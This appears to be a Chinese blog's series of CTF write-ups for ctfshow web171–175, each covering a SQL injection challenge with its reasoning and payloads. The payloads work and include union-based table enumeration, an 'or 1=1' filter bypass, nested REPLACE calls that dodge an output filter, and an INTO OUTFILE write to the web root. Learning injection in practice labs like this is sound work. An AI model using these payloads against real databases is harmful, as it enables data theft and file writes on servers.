SQL注入 on 波奇大王的 "Hugo Project"

ctfshow web175

Wed, 02 Sep 2026 22:57:29 +0800

ctfshow web175

题号：web175
难度：⭐⭐
考点：SQL注入（SQL文件读写）
日期：2026-9-2

题目描述

正则基本过滤了ascii码的全部可见字符

解题思路

1.因为正常想好像没有任何思路，就想着直接看这题是否能进行文件读写（虽然没用判断权限是否为root，但是你在没用思路的时候可以先试试，万一呢？），发现是真的可以进行文件读写的操作，那还说啥了，往里干就行了！直接构造payload创建文件将flag写入其中 2.访问读取即可

Payload / 关键操作

1.123' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt' %23

2.直接访问

复现截图

对应课程章节

SQL注入

踩坑记录 / 复盘

ctfshow web174

Thu, 27 Aug 2026 11:21:36 +0800

ctfshow web174

题号：web174
难度：⭐
考点：如 SQL 注入（无回显）
日期：2026-8-27

题目描述

解题思路

核心思路：发现注入点、识别盲注条件成功与否返回值、构造条件语句、构造截取字符串。打开题目发现：
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
1、抓包，确认注入点在哪里。
/api/v4.php?id=1
2、输入1、1’、1"确认是字符型还是数值型。同时确认闭合形式。
其他题目必要时输入1’") 。
对于数值型，输入1’和1"返回值都一样。对于字符型，输入1和1’是不一样的返回结果。输入1'返回结果空，说明程序运行异常。构造1' and 1=1 -- +

Payload / 关键操作

? id=0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag'%23

复现截图

对应小迪课程章节

SQL注入

踩坑记录 / 复盘

1.使用union select的时候面对数值可以直接写，比如union select 1,2;但如果是字符就必须加引号，不然数据库会以为你是要查询对应的列名：union select ‘a’,‘b’

ctfshow web173

Thu, 27 Aug 2026 11:15:36 +0800

ctfshow web173

题号：web173
难度：⭐
考点：如 SQL 注入
日期：2026-8-27

题目描述

和上题基本一样，就是多了一个正则，匹配到flag就不会给你查询

解题思路

其实直接按部就班上题就行了，因为我们用的是联合查询，username本来就被我们变成数字了，我们想要的只是password而已 [[Web174|[“ctfshow web174”,“123”]]]

Payload / 关键操作

1.1 ' union select 1,2,database() --+
2. 1 ' union select 1,456,password from ctfshow_user3 --+

复现截图

对应课程章节

SQL注入

踩坑记录 / 复盘

记得先用order by 探针一下，md我一直以为id不算payload一直都是union select 1,2 。还一直在想我究竟错哪了

ctfshow web172

Wed, 26 Aug 2026 14:12:19 +0800

ctfshow web172

题号：web172
难度：⭐
考点：如 SQL 注入
日期：2026-8-26

题目描述

来到界面就只有一只小猫，尝试去寻找注入点

解题思路

1.发现小猫上面分了很多个模块，其他模块都是没有解锁状态，只有SELECT模块可以点 2.点进去后发现它和171类似，也是限制了username=flag，这也说明了我们想要的值就在username=flag对应的password上面 3.通过输入1 ’ or 1=1 –+观察到数据库信息中并没有答案，说明我们想要的值在别的列名或表名中 4.因为判断出它是有回显的查询，我们就可以用到union select联合查询去破解，于是就开始寻找它的数据库名与权限信息（因为现在的数据库基本都是5.0版本以上，就没必要去version()看版本了） 5.知道对方的数据库名后，我们就可以通过自带的数据库名information_schema去尝试找到对方的表名 6.知道表名后，因为题目已经告诉了我们列名（字段名）的信息，我们就没必要去看了，直接去找它表明里面的数据就行了

Payload / 关键操作

1 ' union select database(),group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

-1' union select 1,password from ctfshow_user2 --+

复现截图

1. 2. 3. 4. 5. 6.

对应课程章节

SQL注入42天

踩坑记录 / 复盘

多注意观察靶场的每个界面，少撸猫

ctfshow web- 171

Wed, 26 Aug 2026 11:41:15 +0800

ctfshow web- 171

题号：web171
难度：⭐
考点：SQL 注入
日期：2026-8-26

题目描述

解题思路

来到靶场先看它给的提示，在它给的sql语句中发现它查找的username值是不能等于flag的，这也恰恰说明这个库中存在username等于flag的值且password就是我们最终想要的答案，所以我们现在的目标就是要尝试绕过它的限制。根据题意可知绕过的方式就是熟悉的1=1将它的库全部拖出来即可。

Payload / 关键操作

-4." ' or 1 = 1 --+